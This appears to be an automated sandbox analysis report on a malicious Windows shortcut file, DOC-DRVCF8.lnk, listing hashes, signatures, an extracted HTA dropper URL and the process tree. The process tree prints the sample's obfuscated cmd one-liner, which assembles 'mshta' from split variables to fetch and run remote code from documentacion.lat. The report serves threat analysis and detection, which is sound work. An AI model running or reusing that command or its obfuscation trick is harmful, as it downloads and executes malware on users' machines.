Analysis
- max time kernel
60s - max time network
63s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/08/2026, 10:46
Static task
static1
Behavioral task
behavioral1
Sample
DOC-DRVCF8.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-DRVCF8.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-DRVCF8.lnk
- Size 1KB
- Sample260821-mt2j4aba23
- SHA256 51b1697620d744c36caf60b93dac65b82dbb74f274fcc79f524f39998c48399c
- MD5 184206180e020a054eaf9c074d9d6118
- SHA1 82603cfaeb5b6c9589eb5f6ab2f73c82fa6f70a6
- SHA512 273b56bb7406c76aaf228e2c9078bb14390ff19622b41984bfb71a121b7cf329e0f2dcbb68473ecc5cef3ac0a1f73535754ff954bfd6e5da3f78dee67e18964a
- TLSH T16C3197003EFC0624F3B39F7294BB57148ABB78468D20C62E0140854D1032E01E67AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4820 cmd.exe 4084 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4820 wrote to memory of 4084 4820 cmd.exe 90 PID 4084 wrote to memory of 4304 4084 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-DRVCF8.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4820 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set Rz=msh&&set IcL=ta&&start "" !Rz!!IcL! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4084 -
C:\Windows\System32\mshta.exemshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4304
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